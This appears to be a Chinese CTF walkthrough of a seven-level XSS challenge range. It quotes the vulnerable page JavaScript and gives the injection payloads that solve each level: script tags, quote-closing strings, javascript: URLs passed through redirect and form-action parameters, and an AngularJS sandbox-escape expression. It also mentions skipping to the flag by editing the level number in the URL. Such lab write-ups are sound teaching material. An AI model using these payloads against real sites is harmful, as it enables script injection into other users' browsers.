![](https://i-blog.csdnimg.cn/direct/975ebaa260224ed990700ef4d616f046.png)
进入靶场
点击看看
![](https://i-blog.csdnimg.cn/direct/3d1f927ba5044705bae1e906a792aaf0.png)
前情提要
如果只想得到flag时
不想做题时,把level由1不断往下修改就可通过一关又一关
最后在url处修改level为7即可得到flag
![](https://i-blog.csdnimg.cn/direct/2fb5f8d779ae48edb3987c38ef775a86.png)
通过做题破解每一关的话,就如下 操作
第一关
修改url
<script>alert('xss')</script>
![](https://i-blog.csdnimg.cn/direct/fda56bb83ad5427fb8a9f43d9539c157.png)
第二关
点击确定之后发现第2关和第1关长得一样
但是提交之后没有通过
查看源代码
![](https://i-blog.csdnimg.cn/direct/d6fe54791e984027a6b5ef21d0881549.png)
escape() 函数会对字符串中的特殊字符进行编码,例如将 < 编码为 %3C,> 编码为 %3E 等
我们需要绕过这个函数
可以看到username部分内容被用单引号括起来了
所以我们提交的时候要将其闭合
1';alert(1);'1
1' '1是为了闭合符合 ;是结束语句 alert(1)是题目要求
![](https://i-blog.csdnimg.cn/direct/0f51ac1e11d34306bc0f2e9af574c441.png)
第三关
源代码
![](https://i-blog.csdnimg.cn/direct/3350847a2ff741c8b3dfee9994fd21a5.png)
没有什么函数存在,但有单引号,用第二关的
1';alert(1);'1
![](https://i-blog.csdnimg.cn/direct/cc8e31eeb1124701bad393c5b168d86c.png)
查看源代码
![](https://i-blog.csdnimg.cn/direct/00e5b139ead2426e9ea32c4a4c6e0e8f.png)
发现出现转义符\,破坏了左单引号的闭合,但我们右单引号不受影响,所以试试''
1'';alert(1);'1
第四关
页面每过10秒刷新一次
![](https://i-blog.csdnimg.cn/direct/77c69b1ed9014616a8bc33054d4cee08.png)
![](https://i-blog.csdnimg.cn/direct/9ee1015a3eb54868a631f478b450af02.png)
php
// 调用 getQueryVariable 函数,尝试从当前 URL 的查询字符串中获取名为 'jumpUrl' 的参数值
// 如果没有找到该参数,getQueryVariable 函数将返回 false
if (getQueryVariable('jumpUrl') == false) {
// 若未找到 'jumpUrl' 参数,则将 jumpUrl 设为当前页面的 URL
jumpUrl = location.href;
} else {
// 若找到 'jumpUrl' 参数,则将 jumpUrl 设为该参数的值
jumpUrl = getQueryVariable('jumpUrl');
}
// 使用 setTimeout 函数,在 1 秒(1000 毫秒)后调用 jump 函数,并将 time 作为参数传递给它
setTimeout(jump, 1000, time);
// 定义 jump 函数,用于处理倒计时和页面重定向逻辑
function jump(time) {
// 检查倒计时时间是否为 0
if (time == 0) {
// 若倒计时结束,将当前页面的 URL 重定向到 jumpUrl 所存储的 URL
location.href = jumpUrl;
} else {
// 若倒计时未结束,将时间减 1
time = time - 1;
// 获取页面上 id 为 'ccc' 的元素,并更新其内部的 HTML 内容
// 使用模板字符串显示剩余的倒计时时间和重定向的 URL(URL 经过 escape 函数编码)
document.getElementById('ccc').innerHTML = `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
// 再次调用 setTimeout 函数,在 1 秒后继续调用 jump 函数,并传递更新后的 time 参数
// 从而实现每秒更新一次倒计时显示
setTimeout(jump, 1000, time);
}
}
// 定义 getQueryVariable 函数,用于从当前 URL 的查询字符串中获取指定参数的值
function getQueryVariable(variable) {
// 获取当前 URL 的查询字符串部分(即问号 '?' 后面的部分),并去掉开头的问号
var query = window.location.search.substring(1);
// 使用 & 符号将查询字符串分割成多个键值对,存储在 vars 数组中
var vars = query.split("&");
// 遍历 vars 数组
for (var i = 0; i < vars.length; i++) {
// 使用 = 符号将每个键值对分割成键和值
var pair = vars[i].split("=");
// 检查当前键是否与要查找的变量名相同
if (pair[0] == variable) {
// 若相同,则返回该键对应的值
return pair[1];
}
}
// 若未找到指定的变量,返回 false
return (false);
}
level4?jumpUrl=javascript:alert(1)
第五关
![](https://i-blog.csdnimg.cn/direct/1e6d59989fe24ccfbe34ffbbce6a401a.png)
查看源码
![](https://i-blog.csdnimg.cn/direct/60ade1b157634ab99d38ebd8e0d07914.png)
javascript
// 检查当前 URL 的查询字符串中是否包含名为 'autosubmit' 的参数
// getQueryVariable 函数用于从 URL 查询字符串中获取指定参数的值
// 如果存在 'autosubmit' 参数,该函数将返回其值;若不存在,则返回 false
if (getQueryVariable('autosubmit')!== false) {
// 如果 'autosubmit' 参数存在,通过 document.getElementById 方法获取页面上 id 为 'autoForm' 的表单元素
var autoForm = document.getElementById('autoForm');
// 设置表单的 action 属性,该属性指定表单数据提交的目标 URL
// 使用三元运算符进行条件判断:
// 如果 URL 查询字符串中不存在 'action' 参数(即 getQueryVariable('action') 返回 false)
// 则将表单的 action 属性设置为当前页面的 URL(location.href)
// 否则,将表单的 action 属性设置为 'action' 参数的值
autoForm.action = (getQueryVariable('action') == false)? location.href : getQueryVariable('action');
// 调用表单元素的 submit 方法,自动提交表单
// 表单数据将被发送到设置好的 action 属性所指定的 URL
autoForm.submit();
} else {
// 如果 URL 查询字符串中不存在 'autosubmit' 参数,这里为空,不执行任何操作
// 可以根据需求在此处添加其他逻辑
}
// 定义 getQueryVariable 函数,用于从当前页面的 URL 查询字符串中获取指定参数的值
function getQueryVariable(variable) {
// 获取当前 URL 的查询字符串部分(即问号 '?' 之后的部分),并去掉开头的问号
var query = window.location.search.substring(1);
// 使用 '&' 作为分隔符,将查询字符串分割成多个键值对,存储在数组 vars 中
var vars = query.split("&");
// 遍历 vars 数组,对每个键值对进行处理
for (var i = 0; i < vars.length; i++) {
// 使用 '=' 作为分隔符,将每个键值对分割成键和值两部分,存储在数组 pair 中
var pair = vars[i].split("=");
// 检查当前键值对的键是否与要查找的参数名(variable)相同
if (pair[0] == variable) {
// 如果相同,则返回该键值对的值
return pair[1];
}
}
// 如果遍历完整个查询字符串都没有找到指定的参数,则返回 false
return false;
}
autosubmit=1&action=JavaScript:alert(1);//
![](https://i-blog.csdnimg.cn/direct/1ef89a48079747e2a5536a01ba17d73c.png)
第六关
这一关看不懂
![](https://i-blog.csdnimg.cn/direct/55395e1e20ac472b87531cb960ebbbb1.png)
{ {'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
'a'.constructor.prototype.charAt=[].join;
'a'.constructor
实际上指向的是String
构造函数,因为字符串'a'
是String
类型的实例。
'a'.constructor.prototype
就是String
构造函数的原型对象,charAt
是String
原型上的一个方法,用于返回指定索引位置的字符。
[].join
是数组对象的join
方法,它用于将数组元素连接成一个字符串。这行代码的作用是将
String
原型上的charAt
方法替换为数组的join
方法。在 AngularJS 的某些表达式解析过程中,会使用charAt
方法,通过这样的替换可以干扰解析逻辑,为后续的代码注入创造条件。
$eval('x=1} } };alert(1)//');
$eval
是 AngularJS 中的一个方法,用于在 AngularJS 的作用域(scope)内执行表达式。
'x=1} } };alert(1)//'
是要执行的表达式。这里使用了巧妙的构造,x=1
是一个普通的赋值语句,后面的} } };
是为了闭合之前可能存在的代码块,而alert(1)
是要执行的恶意代码,//
是 JavaScript 的单行注释符号,用于注释掉后面可能存在的代码,避免语法错误。
![](https://i-blog.csdnimg.cn/direct/893fc276c1604b0d919dfe80338f85da.png)
第七关
![](https://i-blog.csdnimg.cn/direct/56c692d34e8c48138c6db06841662584.png)
![](https://i-blog.csdnimg.cn/direct/f321477d953c4037ae2d80b620c26eab.png)